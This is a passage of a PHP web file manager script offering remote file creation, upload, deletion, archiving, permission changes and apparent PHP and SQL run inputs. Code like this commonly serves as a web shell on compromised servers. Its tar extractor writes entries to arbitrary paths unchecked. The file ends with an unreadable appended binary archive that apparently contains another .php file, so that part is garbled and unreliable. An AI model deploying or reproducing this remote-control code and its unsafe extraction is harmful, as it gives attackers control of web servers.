    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK!�𲫵a�aysk2v.php.php.tar.gznu�[�����ْ�Ȓ(v_��P�<M��$�/�Ŭ�=�dr_����� 	H\�٘~@v�&�I&ӳ� �A�{evG����G6.�Y}Ι�+uuW����#����ñ�v�ݲSm!�n8gUMV�	�r�%�\Da��clX�+v�΃�r��w?�Ǐ�D���`(���3����X�����g�j�����h�����`���S{�1yA�'��W�
���؟B%X&#Kca�V8M�%���������Ɍ$k�p�I\{͉���?]skm*+TH2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK���ւo8�Ea�k������#��;~z9z|�E�7S�8�?~aI�_�/�����F�E�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�W�e4e��4X�E�U4(Pk kSZ�di�d"�0>/[�[Z���e�7��4nIh,Q��S5Y��*�)é��Ȩ�Q�x/�/��F��Qx�������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<���革^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4b��%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x�ѳ�3{yͨk���$�4ef���6Tf$(����g\�a��h!�{�'��W�g�c���)��Sa�FWԟQ�s����C����pҐ�;}@)S�"T�z�J�K4�a(�GH�TY�%����I�� >��0"��בE�(���^�o{���fk��*�T�����$[�J"�[��?"�-KP�x9����Ao��)��}"
���'��(���C4�
n�(��nc(�Js�"����4�q�l���ҭ�x$�**]4jYP	������ux��{�&`��)PFA��,��u<ȸ(��:�kL=��u�)F)�#J�[,��:�0%P}��9o��cK�:*����
���/~��$�G�C�����먙���|a��Ue�G��a�^�a}�<:
��
��8~�;T��%��o<�
S���h�1�ߒ��V	c-�f������#(e��B���hr���7<��<�)���:i�S��=�i��9�ah�yc`_g�1�+�#�$.�:D6�?�m�Id��O(m=X�YG����?^����$���h��/��3J_RA��'�	��<�6b��o:H�3���TL�)��#)*lw ���K2h��r2N/���.����9��X�_�0�;�yr���]N^rz���3��?c���;1�%�M���Rۻ�_�z;�l}vB����ES����9�̭�~Z�X�$�!2QǾ|A=s����f|����/��<_��8�$YN�ܱ� ��*HE�
 �ׅ��r{_���G��	���1'�<nY��\�c�� �}#y��Y�;��Z</�	E%�p���T
�H���D��ܑq�m�T�@f*By��.4�v��q?!���PM�_Q=AE��u�����-�cP��	��=W�믂�"��"_-x�Is���-�ĺ�i�h��cz�[Ɖ�24rf�t
���c�e)��a��΢ݝB�eZ��+!�T+t��%B�)H=��(z��r���i����I
�}��%i:`\?�t�\�����9�L��[/�HY{�}�L��s9*b��X5�Ëʋ�0�堌E��L��?��?��Y�*RcLx�br��Kк������0�AH,Ʋ��QQ�Q���P�4��9Pm�H��-
�kֳ��r62����)<�ĩ�jN#&�1����D3Ϙ�8�L
H
��А�Vl�����A�%Hc�L�NT�h:�B�=C!����I&��r���K�n2�j����4�F�;L-6��9������ZB8M�p���!� ����*|�UaC� #�
f�$��e�=츴�!6ڒ]�h��g~c^��+��6*����t:ٛ�f���y�hb�˶k��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S��x)���۲���`�����"8�4D#$��	2�D��\]�F�ZW�؜<���;cX'a�c��>��_p�'�N1<b
